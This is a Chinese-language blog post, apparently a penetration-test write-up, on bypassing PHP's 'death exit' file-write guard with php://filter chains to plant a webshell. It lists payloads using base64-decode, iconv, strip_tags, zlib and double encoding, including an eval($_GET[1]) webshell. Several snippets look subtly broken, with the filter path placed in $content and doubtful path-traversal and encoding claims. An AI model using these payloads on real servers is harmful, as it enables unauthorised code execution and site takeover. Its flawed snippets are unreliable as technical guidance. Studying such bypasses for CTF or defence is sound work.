实战复盘:我是如何用PHP Filter伪协议绕过死亡exit,拿下Webshell的
突破死亡exit:PHP Filter伪协议的创造性攻防实践
那天下午三点二十七分,空调的嗡鸣声和键盘敲击声混在一起。我盯着屏幕上那段看似无害的代码,知道它背后藏着致命的防御机制——file_put_contents($filename, "<?php exit();".$content);。这种被称为"死亡exit"的防护,就像给保险箱上了两道锁,而我的任务是在不触发警报的情况下,悄悄塞进自己的钥匙。
1. 死亡exit的防御本质
死亡exit的核心防御逻辑简单却有效:在任何用户输入的内容前强制插入退出指令。常规的Webshell写入尝试会像撞上防弹玻璃的子弹——<?php exit();会立即终止脚本执行,使后续注入的代码变成无用的装饰品。
这种防御模式常见于以下场景:
- 允许用户自定义文件内容的CMS系统
- 需要临时文件写入的API接口
- CTF比赛中典型的代码审计挑战
关键防御特点:
- 前置不可变的终止指令
- 用户输入与系统指令的强制拼接
- 依赖PHP解释器的执行优先级
2. 伪协议过滤器的破局思维
php://filter协议最迷人的特性在于它的流式处理能力。不同于简单的输入输出,它允许数据像流水线上的产品一样,经过多道加工工序。这个特性在对抗死亡exit时产生了意想不到的化学反应。
2.1 编码转换的魔法
Base64解码器有个鲜为人知的特性:它会自动忽略非字母数字字符。这意味着我们可以精心构造一个payload,让死亡exit在解码过程中"消失"。
$filename = "php://filter/write=convert.base64-decode/resource=shell.php"; $content = "aPD9waHAgcGhwaW5mbygpOz8+"; // <?php phpinfo();?>的base64编码这里有几个精妙之处:
- 开头的"a"作为填充字符,使"<?php exit();"解码后变成乱码
- 填充后总长度满足base64解码的4字节对齐要求
- 真正的payload保持完整的可解码结构
2.2 字符编码的维度跳跃
当目标系统禁用base64时,iconv字符编码转换提供了另类突破口。UCS-2编码的字节序转换会产生奇妙的字符串重组效果:
$content = "php://filter/write=convert.iconv.UCS-2LE.UCS-2BE|?<hp phpipfn(o;)>?/resource=shell.php";这个payload的聪明之处在于:
- UCS-2LE到UCS-2BE的转换会交换每两个字节的顺序
- 精心构造的字符串经转换后会恢复成有效PHP代码
- 死亡exit被转换成了无法识别的乱码
3. 过滤器组合的化学效应
单一过滤器可能被防御规则检测,但多种过滤器的组合使用能产生更强大的绕过效果。
3.1 标签剥离与编码的完美配合
string.strip_tags过滤器可以巧妙去除死亡exit的PHP标签,为后续操作铺路:
$filename = "php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php"; $content = "?>PD9waHAgcGhwaW5mbygpOz8+"; // ?>闭合前标签,后面接base64编码的payload这种组合技的执行流程:
- strip_tags首先去除所有PHP标签(包括死亡exit)
- 剩余的纯文本进入base64解码流程
- 解码后的原始PHP代码被完整写入
3.2 压缩过滤器的变形术
zlib压缩过滤器组合使用会产生令人惊喜的效果:
$content = 'php://filter/zlib.deflate|string.tolower|zlib.inflate|?><?php eval($_GET[1]);?>/resource=shell.php';这个方案的独特优势:
- 压缩/解压过程会改变数据的内存布局
- 中间插入的string.tolower打乱原始数据特征
- 死亡exit在解压后失去原有结构
4. 实战中的高阶技巧
当遇到更严格的过滤时,需要祭出更隐蔽的绕过技术。
4.1 二次编码的艺术
某些系统会检测filter关键字,此时URL二次编码成为隐身衣:
$content = "php://filter/write=%2563%256f%256e%2576%2565%2572%2574%252e%2562%2561%2573%2565%2536%2534%252d%2564%2565%2563%256f%2564%2565/resource=shell.php";解码过程:
- 服务器首次解码:%25 → %
- 伪协议处理器二次解码:%63%6f%6e... → convert.base64-decode
- 检测规则看到的是混淆后的字符串
4.2 路径穿越的妙用
resource参数后的路径部分也可以玩花样:
$content = "php://filter/resource=./convert.base64-encode/../shell.php";这种写法的特点:
- 利用路径遍历伪装过滤器
- 绕过简单的关键字检测
- 保持最终写入位置的可控性
5. 防御者的反击与应对
聪明的防御者可能采取以下措施:
- 禁用危险的过滤器类型
- 限制伪协议的使用范围
- 对写入内容进行多重校验
作为攻击者,我们需要:
- 全面探测可用的过滤器
php -r "print_r(stream_get_filters());" - 尝试冷门过滤器组合
- 利用环境特性(如PHP版本差异)
那次渗透测试的最后,我用了最不起眼的string.toupper过滤器配合zlib压缩,成功绕过了三层防御机制。当蚁剑成功连接时,显示器上的反光映出了我上扬的嘴角——这大概就是安全研究员的小确幸吧。
